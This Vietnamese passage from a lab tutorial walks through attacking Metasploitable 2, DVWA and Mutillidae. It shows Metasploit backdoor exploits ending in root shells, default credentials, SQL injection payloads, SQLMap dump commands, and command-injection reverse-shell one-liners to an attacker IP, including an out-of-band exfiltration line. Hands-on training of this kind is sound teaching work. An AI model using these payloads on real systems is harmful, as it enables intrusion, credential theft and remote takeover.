msf6 > use exploit/unix/ftp/vsftpd_234_backdoor - Xem các tùy chọn cần thiết:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Bạn sẽ thấy RHOSTS (Remote Hosts – địa chỉ IP mục tiêu) là tùy chọn bắt buộc. RPORT (Remote Port) mặc định là 21, đúng với cổng FTP. - Thiết lập địa chỉ IP mục tiêu:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS <IP_Metasploitable2>
(Thay <IP_Metasploitable2> bằng địa chỉ IP thực của Metasploitable 2, ví dụ: 10.0.2.4). - (Tùy chọn) Xem thông tin module:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info - (Tùy chọn) Xem và thiết lập payload: Module này thường sử dụng payload cmd/unix/interact mặc định, cho phép tương tác với shell trên mục tiêu.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
25 - Thực thi exploit:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
Hoặc run. - Kết quả: Nếu khai thác thành công, Metasploit sẽ thông báo “Command shell session X opened” và bạn sẽ nhận được một shell. Gõ lệnh whoami trong shell đó, bạn sẽ thấy kết quả là root.19 Lệnh
id cũng sẽ cho thấy uid=0(root) gid=0(root).
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.4:21 – Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.2.4:21 – USER: 331 Please specify the password.
[+] 10.0.2.4:21 – Backdoor service has been spawned, handling…
[+] 10.0.2.4:21 – UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.15:4444 -> 10.0.2.4:6200) at 2023-10-27 10:00:00 -0400
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
Sự đơn giản trong việc khai thác lỗ hổng vsFTPd backdoor này cho thấy tầm quan trọng của việc cập nhật phần mềm và không sử dụng các phiên bản lỗi thời hoặc đã bị xâm phạm. Đây cũng là một ví dụ tuyệt vời để làm quen với quy trình làm việc cơ bản của Metasploit: tìm kiếm, chọn module, đặt tùy chọn và khai thác.
- Video YouTube minh họa khai thác vsFTPd backdoor bằng Metasploit có thể xem tại 28 (cho thấy có được root shell) và 23 (đề cập đến module Metasploit).
3.3. Khai thác UnrealIRCd 3.2.8.1 Backdoor (CVE-2010-2075)
Dịch vụ IRC (Internet Relay Chat) trên Metasploitable 2 chạy phiên bản UnrealIRCd 3.2.8.1, một phiên bản từng bị chèn backdoor vào file cài đặt chính thức.
- Thông tin lỗ hổng:
- Trong một khoảng thời gian từ tháng 11 năm 2009 đến tháng 6 năm 2010, file Unreal3.2.8.1.tar.gz trên các mirror chính thức của UnrealIRCd đã bị thay thế bằng một phiên bản chứa backdoor. Backdoor này cho phép kẻ tấn công thực thi lệnh từ xa trên server.13
- Backdoor được kích hoạt bằng cách gửi một chuỗi lệnh đặc biệt (thường là AB; <lenh_can_thuc_thi>) đến server IRC, thường chạy trên cổng 6667/tcp.
- Các bước khai thác bằng Metasploit 13:
- Tìm kiếm module:
msf6 > search unreal_ircd
Module liên quan là exploit/unix/irc/unreal_ircd_3281_backdoor. - Chọn module:
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor - Xem các tùy chọn:
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
RHOSTS là bắt buộc. RPORT mặc định là 6667, phù hợp với dịch vụ IRC. - Thiết lập mục tiêu:
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS <IP_Metasploitable2> - Thực thi exploit:
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit - Kết quả: Nếu thành công, bạn sẽ nhận được một command shell session. Kết quả Nmap trong 13 và hướng dẫn trong 25 cho thấy việc khai thác thành công sẽ cho quyền root (
uid=0(root) gid=0(root)).
[*] Started reverse TCP double handler on 10.0.2.15:4444
[*] 10.0.2.4:6667 – Connected to 10.0.2.4:6667…
[*] 10.0.2.4:6667 – :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname…
[*] 10.0.2.4:6667 – Sending backdoor command…
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Command: echo PsmkGzrfPylAWUSy;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Reading from socket B
[*] B: “PsmkGzrfPylAWUSy\r\n”
[*] Matching…
[*] A is input…
[*] Command shell session 2 opened (10.0.2.15:4444 -> 10.0.2.4:38987) at 2023-10-27 10:05:00 -0400
whoami
root
Lỗ hổng này là một ví dụ điển hình về tấn công chuỗi cung ứng (supply chain attack), nơi mã độc được chèn vào phần mềm hợp pháp trước khi đến tay người dùng. Điều này nhấn mạnh tầm quan trọng của việc xác minh tính toàn vẹn của phần mềm tải về (ví dụ, qua checksums) và chỉ tải từ các nguồn chính thức, đáng tin cậy.
- Video YouTube minh họa có thể tìm kiếm với từ khóa “Metasploit UnrealIRCd Metasploitable 2”. 55 có thể đề cập đến việc tìm exploit cho UnrealIRCd.
3.4. Khai thác Lỗ hổng Samba “username map script” (CVE-2007-2447)
Samba là một bộ phần mềm mã nguồn mở triển khai giao thức SMB/CIFS, cho phép chia sẻ file và máy in giữa các hệ thống Linux và Windows. Các phiên bản cũ của Samba trên Metasploitable 2 chứa lỗ hổng thực thi lệnh từ xa.
- Thông tin lỗ hổng:
- Lỗ hổng CVE-2007-2447 tồn tại trong cách Samba xử lý tham số username map script. Nếu Samba được cấu hình để sử dụng một script bên ngoài cho việc ánh xạ username, kẻ tấn công có thể chèn các ký tự đặc biệt vào username để thực thi lệnh tùy ý trên server với quyền của tiến trình Samba (thường là root).7 Metasploitable 2 dễ bị tấn công bởi lỗ hổng này.
- Các bước khai thác bằng Metasploit:
- Tìm kiếm module:
msf6 > search samba username map script
Hoặc tìm theo CVE:
msf6 > search CVE-2007-2447
Module phổ biến cho lỗ hổng này là exploit/multi/samba/usermap_script. - Chọn module:
msf6 > use exploit/multi/samba/usermap_script - Xem các tùy chọn:
msf6 exploit(multi/samba/usermap_script) > show options
RHOSTS là bắt buộc. RPORT mặc định là 139 hoặc 445 (Samba thường chạy trên các cổng này). - Thiết lập mục tiêu:
msf6 exploit(multi/samba/usermap_script) > set RHOSTS <IP_Metasploitable2> - Thực thi exploit:
msf6 exploit(multi/samba/usermap_script) > exploit - Kết quả: Nếu khai thác thành công, bạn sẽ nhận được một command shell session, thường là với quyền root.
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.4:139 – Automatically detecting the target…
[*] 10.0.2.4:139 – Fingerprint: Samba 3.0.20-Debian – Metasploitable
[*] 10.0.2.4:139 – Exploiting target Samba 3.0.20-Debian
[*] 10.0.2.4:139 – Trying exploit with architecture cmd and payload cmd/unix/reverse_netcat…
[*] Command shell session 3 opened (10.0.2.15:4444 -> 10.0.2.4:55021) at 2023-10-27 10:10:00 -0400
whoami
root
Lỗ hổng Samba này minh họa cách các dịch vụ chia sẻ file, nếu không được cấu hình đúng cách hoặc sử dụng phiên bản cũ, có thể trở thành một điểm yếu nghiêm trọng trong hệ thống.
3.5. Tổng quan về các lỗ hổng dịch vụ phổ biến khác trên Metasploitable 2 và module Metasploit tương ứng
Metasploitable 2 là một “mỏ vàng” các lỗ hổng dịch vụ cổ điển, rất lý tưởng cho việc học tập. Dưới đây là một số ví dụ khác:
- DistCC (Distributed C Compiler) – CVE-2004-2687:
- Lỗ hổng: DistCC là một công cụ giúp phân tán quá trình biên dịch C/C++ qua nhiều máy. Một số phiên bản cũ dễ bị tấn công thực thi lệnh từ xa do không kiểm tra đầu vào đúng cách khi nhận các lệnh biên dịch.
- Module Metasploit: exploit/unix/misc/distcc_exec.7
- Khai thác thành công thường cho shell với quyền của user chạy dịch vụ distccd (thường là daemon hoặc một user có quyền thấp).
- Java RMI Server (Insecure Default Configuration):
- Lỗ hổng: Java Remote Method Invocation (RMI) là một cơ chế cho phép đối tượng Java trên một máy gọi phương thức của đối tượng Java trên máy khác. Nếu RMI registry được cấu hình không an toàn (ví dụ, không có xác thực hoặc cho phép tải class từ xa), kẻ tấn công có thể thực thi mã Java tùy ý trên server.
- Module Metasploit: exploit/multi/misc/java_rmi_server.7
- Khai thác thành công có thể cho shell với quyền của ứng dụng Java.
- MySQL (Database Server):
- Lỗ hổng: Mật khẩu yếu hoặc để trống cho tài khoản root, hoặc các tài khoản người dùng khác. Metasploitable 2 có tài khoản root MySQL không có mật khẩu.
- Module Metasploit:
- auxiliary/scanner/mysql/mysql_version: Để xác định phiên bản MySQL.7
- auxiliary/scanner/mysql/mysql_login: Để thử brute-force đăng nhập.7
- Sau khi có thông tin đăng nhập, có thể dùng auxiliary/admin/mysql/mysql_sql để chạy lệnh SQL.
- PostgreSQL (Database Server):
- Lỗ hổng: Tương tự MySQL, có thể có mật khẩu yếu hoặc cấu hình mặc định không an toàn. User postgres trên Metasploitable 2 có mật khẩu là postgres.
- Module Metasploit:
- auxiliary/scanner/postgres/postgres_version
- auxiliary/scanner/postgres/postgres_login
- auxiliary/admin/postgres/postgres_sql
- Apache Tomcat (Application Server):
- Lỗ hổng: Tomcat Manager thường có thông tin đăng nhập mặc định yếu (ví dụ: tomcat/tomcat, admin/admin). Nếu có thể đăng nhập vào Tomcat Manager, kẻ tấn công có thể tải lên (deploy) một file WAR (Web Application Archive) chứa mã độc (ví dụ, một web shell) để thực thi lệnh trên server.
- Module Metasploit: exploit/multi/http/tomcat_mgr_deploy.7
- Tomcat trên Metasploitable 2 chạy trên cổng 8180 và có thông tin đăng nhập mặc định là tomcat/tomcat.
Việc thực hành khai thác các dịch vụ này trên Metasploitable 2 giúp người học làm quen với nhiều loại lỗ hổng phổ biến và cách Metasploit Framework có thể được sử dụng để tự động hóa quá trình tấn công.
Dưới đây là bảng tổng hợp các module Metasploit chính cho một số dịch vụ trên Metasploitable 2:
Bảng 3: Các Module Metasploit Chính cho Metasploitable 2
| Dịch vụ Mục tiêu | Phiên bản (trên Metasploitable 2) | Lỗ hổng (CVE nếu có) | Đường dẫn Module Metasploit | Mô tả Ngắn gọn về Lỗ hổng/Cách Khai thác | Quyền Truy cập Sau Khai thác |
| vsFTPd | 2.3.4 | CVE-2011-2523 | exploit/unix/ftp/vsftpd_234_backdoor | Backdoor cố ý trong mã nguồn, kích hoạt qua username đặc biệt, mở shell trên cổng 6200. | root |
| UnrealIRCd | 3.2.8.1 | CVE-2010-2075 | exploit/unix/irc/unreal_ircd_3281_backdoor | Backdoor trong file cài đặt bị trojan hóa, cho phép thực thi lệnh từ xa qua IRC. | root |
| Samba | 3.0.20-Debian | CVE-2007-2447 | exploit/multi/samba/usermap_script | Lỗ hổng thực thi lệnh từ xa qua tính năng username map script. | root |
| DistCC | (phiên bản cũ) | CVE-2004-2687 | exploit/unix/misc/distcc_exec | Thực thi lệnh từ xa do không kiểm tra đầu vào đúng cách trong các lệnh biên dịch. | daemon (hoặc user thấp quyền) |
| Java RMI Server | (cấu hình mặc định) | (Không có CVE cụ thể) | exploit/multi/misc/java_rmi_server | Cấu hình RMI registry không an toàn cho phép tải class từ xa và thực thi mã. | Quyền của ứng dụng Java |
| MySQL | 5.0.51a | (Mật khẩu root trống) | auxiliary/scanner/mysql/mysql_login | Brute-force hoặc kiểm tra mật khẩu yếu/trống. (Metasploitable 2 có root MySQL không mật khẩu). | (Sau khi đăng nhập) root DB |
| Apache Tomcat | 5.5.25 (trên cổng 8180) | (Đăng nhập quản trị yếu) | exploit/multi/http/tomcat_mgr_deploy | Đăng nhập vào Tomcat Manager bằng credentials yếu (tomcat/tomcat) để deploy WAR file chứa webshell. | Quyền của user chạy Tomcat |
Phần 4: Khai Thác Lỗ Hổng Ứng Dụng Web (DVWA & Mutillidae)
Metasploitable 2 không chỉ chứa các lỗ hổng dịch vụ mạng mà còn tích hợp sẵn các ứng dụng web cố ý dễ bị tấn công như DVWA (Damn Vulnerable Web Application) và Mutillidae. Các ứng dụng này là môi trường tuyệt vời để thực hành các kỹ thuật tấn công web phổ biến.
4.1. Truy cập DVWA và Mutillidae trên Metasploitable 2
- Mở trình duyệt web trên máy Kali Linux.
- Nhập địa chỉ IP của Metasploitable 2 vào thanh địa chỉ của trình duyệt (ví dụ: http://10.0.2.4). Bạn sẽ thấy trang chủ của Metasploitable 2, liệt kê các ứng dụng web có sẵn.
- Truy cập DVWA:
- Nhấp vào liên kết “DVWA” trên trang chủ của Metasploitable 2.
- Trang đăng nhập DVWA sẽ xuất hiện. Thông tin đăng nhập mặc định là:
- Username: admin
- Password: password
32 - Sau khi đăng nhập thành công, điều quan trọng là phải thiết lập mức độ bảo mật (Security Level) xuống “Low” để dễ dàng thực hành các lỗ hổng cơ bản. Nhấp vào tab “DVWA Security” ở menu bên trái, chọn “Low” từ danh sách thả xuống và nhấn “Submit”.32 Việc này cố ý vô hiệu hóa các biện pháp bảo vệ cơ bản, giúp người mới học tập trung vào cơ chế của lỗ hổng mà không bị cản trở bởi các bộ lọc phức tạp. Đây là bước đệm để sau này tìm hiểu cách vượt qua các biện pháp bảo vệ ở mức độ cao hơn.
- Truy cập Mutillidae:
- Nhấp vào liên kết “Mutillidae” trên trang chủ của Metasploitable 2.
- Mutillidae thường không yêu cầu đăng nhập ban đầu để truy cập các trang thực hành lỗ hổng. Nó được cài đặt sẵn trên Metasploitable 2.33 Mutillidae cũng cho phép thay đổi mức độ bảo mật, tương tự như DVWA.
4.2. SQL Injection (SQLi)
SQL Injection là một trong những lỗ hổng web phổ biến và nguy hiểm nhất, cho phép kẻ tấn công chèn các câu lệnh SQL độc hại vào các truy vấn mà ứng dụng web gửi đến cơ sở dữ liệu.32
4.2.1. Giới thiệu SQL Injection
- Nguyên nhân: Xảy ra khi dữ liệu đầu vào từ người dùng không được kiểm tra hoặc làm sạch (sanitize) đúng cách trước khi được sử dụng để xây dựng các câu lệnh SQL động.36
- Hậu quả:
- Đọc dữ liệu nhạy cảm (ví dụ: thông tin người dùng, mật khẩu, thẻ tín dụng).
- Sửa đổi hoặc xóa dữ liệu trong cơ sở dữ liệu.
- Thực thi các lệnh quản trị trên hệ quản trị cơ sở dữ liệu (DBMS).
- Trong một số trường hợp, có thể chiếm quyền điều khiển hệ điều hành của server.36
- DVWA (ở mức “Low”) có một trang “SQL Injection” (trong menu bên trái) được thiết kế đặc biệt để thực hành loại tấn công này.32
4.2.2. SQL Injection Thủ công Cơ bản (DVWA – trang SQL Injection)
Truy cập trang SQL Injection trong DVWA. Trang này có một ô nhập “User ID”.
- Thử nghiệm phát hiện lỗ hổng:
- Nhập một ID hợp lệ, ví dụ 1, và nhấn “Submit”. Kết quả thông tin của user có ID là 1 sẽ hiển thị.
- Nhập 1′ (số 1 và một dấu nháy đơn). Nếu ứng dụng trả về lỗi SQL (ví dụ: “You have an error in your SQL syntax…”), đây là dấu hiệu mạnh mẽ cho thấy có khả năng tồn tại lỗ hổng SQL Injection. Dấu nháy đơn đã làm “gãy” câu lệnh SQL gốc.
- Nhập 1′ OR ‘1’=’1. Câu lệnh này thường làm cho điều kiện WHERE của truy vấn SQL luôn đúng, do đó trả về tất cả các bản ghi trong bảng. Nếu thấy nhiều kết quả hơn bình thường, đây là một xác nhận khác về lỗ hổng.32
- Tìm số lượng cột trong câu lệnh SELECT gốc:
Sử dụng ORDER BY để đoán số cột. Thử lần lượt:
- 1′ ORDER BY 1– – (Nếu không lỗi, có ít nhất 1 cột)
- 1′ ORDER BY 2– – (Nếu không lỗi, có ít nhất 2 cột)
- …
- 1′ ORDER BY N– – (Tiếp tục tăng N cho đến khi gặp lỗi. Nếu ORDER BY N lỗi và ORDER BY N-1 không lỗi, thì câu lệnh SELECT gốc có N-1 cột).
Dấu — – (hoặc # trong một số trường hợp) dùng để ghi chú phần còn lại của câu lệnh SQL gốc, tránh lỗi cú pháp.
- Sử dụng UNION SELECT để trích xuất thông tin:
Sau khi biết số cột (giả sử là 2 cột: First name và Surname), có thể dùng UNION SELECT để nối kết quả của một câu lệnh SELECT tùy ý vào kết quả của câu lệnh gốc.
- Kiểm tra các cột có thể hiển thị dữ liệu:
1′ UNION SELECT NULL, NULL– –
(Nếu có 3 cột, sẽ là NULL, NULL, NULL). - Tìm vị trí các cột hiển thị được bằng cách thay NULL bằng các chuỗi hoặc số dễ nhận biết:
1′ UNION SELECT ‘col1’, ‘col2’– – - Lấy phiên bản cơ sở dữ liệu và tên cơ sở dữ liệu hiện tại:
1′ UNION SELECT @@version, database()– – [32 – ví dụ
any’ union select database(),user()] - Liệt kê tên các bảng trong cơ sở dữ liệu dvwa:
1′ UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = ‘dvwa’– –
Hoặc nếu chỉ có một cột hiển thị:
1′ UNION SELECT GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema = ‘dvwa’– –
32 - Liệt kê tên các cột trong bảng users của cơ sở dữ liệu dvwa:
1′ UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_schema = ‘dvwa’ AND table_name = ‘users’– –
Hoặc:
1′ UNION SELECT GROUP_CONCAT(column_name), NULL FROM information_schema.columns WHERE table_schema = ‘dvwa’ AND table_name = ‘users’– –
32 - Trích xuất dữ liệu (ví dụ: user và password) từ bảng users:
1′ UNION SELECT user, password FROM users– –
32
Bạn sẽ thấy danh sách username và mật khẩu (đã được hash) của các user trong DVWA.
4.2.3. Khai thác SQL Injection với SQLMap (DVWA)
SQLMap là một công cụ mã nguồn mở mạnh mẽ, tự động hóa quá trình phát hiện và khai thác các lỗ hổng SQL Injection. Nó có thể thực hiện nhiều kỹ thuật tấn công phức tạp như Boolean-based blind, Time-based blind, Error-based, và UNION query SQL injection.35
- Lấy Cookie Session từ DVWA:
Vì trang SQL Injection của DVWA nằm sau trang đăng nhập và có cơ chế kiểm soát mức độ bảo mật, SQLMap cần thông tin cookie để có thể truy cập và kiểm tra đúng trang.
- Đăng nhập vào DVWA trên trình duyệt của Kali Linux (đảm bảo mức security là “Low”).
- Mở Developer Tools của trình duyệt (thường là phím F12).
- Đi đến tab “Storage” (Firefox) hoặc “Application” (Chrome), sau đó chọn “Cookies” và tìm đến domain của Metasploitable 2.
- Ghi lại giá trị của hai cookie quan trọng:
- PHPSESSID: Đây là session ID của bạn.
- security: Giá trị phải là low.
38
- Chạy SQLMap từ terminal của Kali Linux:
Cấu trúc lệnh cơ bản:
Bash
sqlmap -u “URL_CUA_TRANG_SQLI” –cookie=”PHPSESSID=<GIA_TRI_PHPSESSID>; security=low”
URL của trang SQL Injection trong DVWA thường có dạng: http://<IP_Metasploitable2>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
Thay <IP_Metasploitable2> và <GIA_TRI_PHPSESSID> bằng giá trị thực tế.
- Phát hiện lỗ hổng và thông tin cơ bản:
Bash
sqlmap -u “http://<IP_Metasploitable2>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=<SESSION_ID>; security=low” –batch –level=1 –risk=1
–batch: Tự động chọn các giá trị mặc định cho các câu hỏi của SQLMap.
–level và –risk: Điều chỉnh mức độ sâu và nguy hiểm của các bài test.
SQLMap sẽ tự động kiểm tra tham số id và các tham số khác nếu có. - Liệt kê các cơ sở dữ liệu (databases):
Bash
sqlmap -u “URL” –cookie=”COOKIE” –dbs - Liệt kê các bảng (tables) trong một cơ sở dữ liệu cụ thể (ví dụ: dvwa):
Bash
sqlmap -u “URL” –cookie=”COOKIE” -D dvwa –tables
38 - Liệt kê các cột (columns) trong một bảng cụ thể (ví dụ: users trong DB dvwa):
Bash
sqlmap -u “URL” –cookie=”COOKIE” -D dvwa -T users –columns
38 - Trích xuất dữ liệu (dump) từ các cột cụ thể (ví dụ: user và password từ bảng users):
Bash
sqlmap -u “URL” –cookie=”COOKIE” -D dvwa -T users -C “user,password” –dump
SQLMap sẽ cố gắng crack các mật khẩu đã hash nếu có thể.
- (Nâng cao) Sử dụng SQLMap với file request từ Burp Suite:
Đây là một kỹ thuật hữu ích khi URL phức tạp hoặc request chứa nhiều tham số, headers đặc biệt.
- Cấu hình trình duyệt web của Kali sử dụng Burp Suite làm proxy (thường là 127.0.0.1:8080).
- Trong Burp Suite (tab Proxy -> HTTP history), tìm đến request GET hoặc POST đến trang SQL Injection của DVWA.
- Nhấp chuột phải vào request đó và chọn “Copy to file” (hoặc “Save item”). Lưu request vào một file, ví dụ: dvwa_sqli.req.
- Chạy SQLMap với tùy chọn -r:
Bash
sqlmap -r dvwa_sqli.req –batch –dbs
SQLMap sẽ đọc toàn bộ request từ file, bao gồm URL, cookies, và các headers khác, giúp việc kiểm tra chính xác hơn.35 Mặc dù 57 mô tả plugin SQLiPy cho Burp, việc sử dụng file request với cờ
-r là một phương pháp phổ biến và không yêu cầu cài đặt thêm plugin.
Việc sử dụng các công cụ tự động như SQLMap cho thấy sự đa dạng của các kỹ thuật SQL injection (blind, error-based, union-based) mà kẻ tấn công có thể sử dụng. Hiểu biết về cách các công cụ này hoạt động sẽ giúp bạn không chỉ khai thác hiệu quả hơn mà còn biết cách phòng chống tốt hơn. Đồng thời, việc cung cấp đúng cookie session là yếu tố then chốt khi pentest các ứng dụng web yêu cầu xác thực hoặc duy trì trạng thái phiên.
- Video YouTube minh họa: 37 và 37 cung cấp cái nhìn tổng quan về SQLMap và cách nó hoạt động. Có thể tìm kiếm thêm các video hướng dẫn cụ thể “SQLMap DVWA Metasploitable 2” để xem các bước chi tiết.
Dưới đây là bảng tóm tắt một số tùy chọn SQLMap cơ bản hữu ích khi làm việc với DVWA:
Bảng 4: Cấu trúc Lệnh SQLMap Cơ bản cho DVWA (SQL Injection)
| Tùy chọn SQLMap | Mô tả Chức năng | Ví dụ Cụ thể với DVWA (giả sử URL và Cookie đã được định nghĩa) |
| -u “URL” | Chỉ định URL mục tiêu để kiểm tra. | -u “http://10.0.2.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” |
| –cookie=”COOKIE_STR” | Cung cấp chuỗi cookie cho request. | –cookie=”PHPSESSID=abcdef12345; security=low” |
| –data=”POST_DATA” | Cung cấp dữ liệu cho POST request. | (Không áp dụng cho trang SQLi GET của DVWA, nhưng hữu ích cho các form POST) |
| -r requestfile.req | Tải request HTTP từ một file. | -r dvwa_sqli.req |
| –dbs | Liệt kê tất cả các cơ sở dữ liệu. | sqlmap -u “URL” –cookie=”COOKIE” –dbs |
| -D <db_name> | Chỉ định tên cơ sở dữ liệu để làm việc. | -D dvwa |
| –tables | Liệt kê các bảng trong cơ sở dữ liệu đã chọn (hoặc mặc định). | sqlmap -u “URL” –cookie=”COOKIE” -D dvwa –tables |
| -T <table_name> | Chỉ định tên bảng để làm việc. | -T users |
| –columns | Liệt kê các cột trong bảng đã chọn. | sqlmap -u “URL” –cookie=”COOKIE” -D dvwa -T users –columns |
| -C <col1,col2,…> | Chỉ định các cột để trích xuất dữ liệu. | -C “user,password” |
| –dump | Trích xuất dữ liệu từ các cột/bảng/DB đã chọn. | sqlmap -u “URL” –cookie=”COOKIE” -D dvwa -T users -C “user,password” –dump |
| –batch | Tự động chọn câu trả lời mặc định cho các câu hỏi tương tác của SQLMap. | Thêm –batch vào cuối lệnh. |
| –level=<1-5> | Mức độ sâu của các bài test (mặc định 1). | –level=3 (Tăng mức độ để thử nhiều payload hơn) |
| –risk=<1-3> | Mức độ rủi ro của các payload (mặc định 1). | –risk=2 (Tăng mức độ rủi ro, có thể nguy hiểm hơn cho DB) |
4.3. Command Injection
Command Injection (hay OS Command Injection) là một lỗ hổng bảo mật cho phép kẻ tấn công thực thi các lệnh tùy ý trên hệ điều hành của server thông qua một ứng dụng web dễ bị tấn công.33
4.3.1. Giới thiệu Command Injection
- Nguyên nhân: Xảy ra khi ứng dụng web nhận dữ liệu đầu vào từ người dùng và truyền dữ liệu đó (mà không được kiểm tra hoặc làm sạch đầy đủ) vào một lời gọi hàm hệ thống hoặc một shell của hệ điều hành.
- Hậu quả: Kẻ tấn công có thể thực thi các lệnh như thể họ đang trực tiếp sử dụng terminal trên server, với quyền của user mà ứng dụng web đang chạy. Điều này có thể dẫn đến việc đọc file nhạy cảm, sửa đổi hệ thống, tạo reverse shell để chiếm quyền kiểm soát hoàn toàn server.33
- Mutillidae, được cài đặt sẵn trên Metasploitable 2, có nhiều trang được thiết kế để thực hành Command Injection, ví dụ như trang “DNS Lookup” trong mục OWASP Top 10 -> A1 – Injection -> Command Injection.33
4.3.2. Khai thác Command Injection trên Mutillidae (trang DNS Lookup)
Truy cập trang DNS Lookup trong Mutillidae (thường là index.php?page=dns-lookup.php). Trang này cho phép người dùng nhập một hostname hoặc địa chỉ IP để thực hiện tra cứu DNS.
- Xác định điểm tiêm và kiểm tra lỗ hổng:
- Nhập một địa chỉ IP hợp lệ, ví dụ 8.8.8.8 (DNS của Google), và nhấn “Lookup DNS”. Ứng dụng sẽ hiển thị kết quả tra cứu DNS.
- Thử chèn các ký tự phân tách lệnh của hệ điều hành cùng với một lệnh đơn giản để xem nó có được thực thi không. Các ký tự phân tách phổ biến:
- ; (dấu chấm phẩy): Thực thi lệnh tiếp theo bất kể lệnh trước thành công hay thất bại.
- &&: Thực thi lệnh tiếp theo CHỈ KHI lệnh trước thành công.
- | (pipe): Chuyển output của lệnh trước làm input cho lệnh sau.
- ||: Thực thi lệnh tiếp theo CHỈ KHI lệnh trước thất bại.
- Payload thử nghiệm (trên Linux server như Metasploitable 2):
- 8.8.8.8 ; ls -la (Thực hiện tra cứu DNS cho 8.8.8.8, sau đó liệt kê các file trong thư mục hiện tại của ứng dụng web).
- 8.8.8.8 && whoami (Thực hiện tra cứu DNS, sau đó hiển thị user mà ứng dụng web đang chạy).
- 8.8.8.8 | id (Thực hiện tra cứu DNS, sau đó hiển thị thông tin user ID, group ID).
- Quan sát kết quả trả về trên trang web. Nếu bạn thấy output của lệnh ls -la, whoami, hoặc id được hiển thị cùng với kết quả DNS (hoặc thay thế nó), thì ứng dụng chắc chắn có lỗ hổng Command Injection.
- Lấy Reverse Shell:
Mục tiêu cuối cùng của Command Injection thường là có được một shell tương tác trên server.
- Trên máy Kali Linux (máy tấn công), mở một terminal và chạy Netcat để lắng nghe kết nối đến:
Bash
nc -lvnp 4444
Lệnh này sẽ mở cổng 4444 trên Kali và chờ kết nối đến. -l (listen), -v (verbose), -n (numeric IP), -p (port). - Trên trang DNS Lookup của Mutillidae, nhập payload để tạo reverse shell:
Có nhiều cách để tạo reverse shell. Một cách phổ biến là sử dụng Netcat (nếu có sẵn trên server mục tiêu, Metasploitable 2 có nc):
8.8.8.8 ; nc <IP_KALI_LINUX> 4444 -e /bin/bash
Thay <IP_KALI_LINUX> bằng địa chỉ IP của máy Kali Linux trong mạng NAT Network (ví dụ: 10.0.2.15).
Tùy chọn -e /bin/bash của Netcat sẽ thực thi /bin/bash và chuyển hướng input/output của nó qua kết nối mạng đến máy Kali. - Nhấn “Lookup DNS”. Nếu thành công, trên terminal của Kali nơi bạn chạy nc -lvnp 4444, bạn sẽ thấy một kết nối được thiết lập và bạn sẽ có một shell của server Metasploitable 2. Gõ whoami, id, ls -la để xác nhận.
- Các payload reverse shell khác (nếu nc -e không hoạt động hoặc bị hạn chế):
- Bash reverse shell:
8.8.8.8 ; bash -i >& /dev/tcp/<IP_KALI_LINUX>/4444 0>&1 - Python reverse shell:
8.8.8.8 ; python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“<IP_KALI_LINUX>”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’ - PHP reverse shell (nếu ứng dụng là PHP):
8.8.8.8 ; php -r ‘$sock=fsockopen(“<IP_KALI_LINUX>”,4444);exec(“/bin/bash -i <&3 >&3 2>&3”);’
- Blind Command Injection:
Đôi khi, kết quả của lệnh được tiêm không được hiển thị trực tiếp trên trang web. Đây gọi là Blind Command Injection. Để phát hiện và khai thác, có thể sử dụng các kỹ thuật sau 41:
- Time delays: Tiêm một lệnh gây trễ thời gian, ví dụ: 8.8.8.8 ; sleep 10. Nếu trang web mất khoảng 10 giây để tải, đó là dấu hiệu lệnh sleep đã được thực thi.
- Redirect output to a web-accessible file: Nếu biết một thư mục có thể ghi và có thể truy cập qua web (ví dụ: /var/www/mutillidae/uploads/), có thể chuyển hướng output của lệnh vào một file trong đó:
8.8.8.8 ; whoami > /var/www/mutillidae/uploads/output.txt
Sau đó, truy cập http://<IP_Metasploitable2>/mutillidae/uploads/output.txt để xem kết quả. - Out-of-band (OAST) techniques: Sử dụng các lệnh gây ra một tương tác mạng đến một server mà bạn kiểm soát. Ví dụ, sử dụng nslookup hoặc curl để gửi dữ liệu đến một domain bạn sở hữu hoặc một dịch vụ như Burp Collaborator:
8.8.8.8 ; nslookup $(whoami).your_controlled_domain.com
Sau đó, kiểm tra log DNS trên server your_controlled_domain.com để xem có request nào chứa kết quả của lệnh whoami không. Trang DNS Lookup của Mutillidae rất phù hợp để thử kỹ thuật này.
4.3.3. (Tùy chọn) Sử dụng Burp Suite để xác định và kiểm tra Command Injection
Burp Suite là một công cụ proxy mạnh mẽ cho phép chặn, kiểm tra và sửa đổi các request HTTP/HTTPS giữa trình duyệt và server.
- Cấu hình trình duyệt của Kali sử dụng Burp Suite làm proxy (thường là 127.0.0.1 cổng 8080).
- Trong Burp Suite, đảm bảo “Intercept is on” (tab Proxy -> Intercept).
- Truy cập trang DNS Lookup trong Mutillidae trên trình duyệt và nhập một giá trị thử nghiệm (ví dụ: 8.8.8.8). Nhấn “Lookup DNS”.
- Request sẽ bị chặn lại trong Burp. Nhấp chuột phải vào request đó và chọn “Send to Repeater”.40
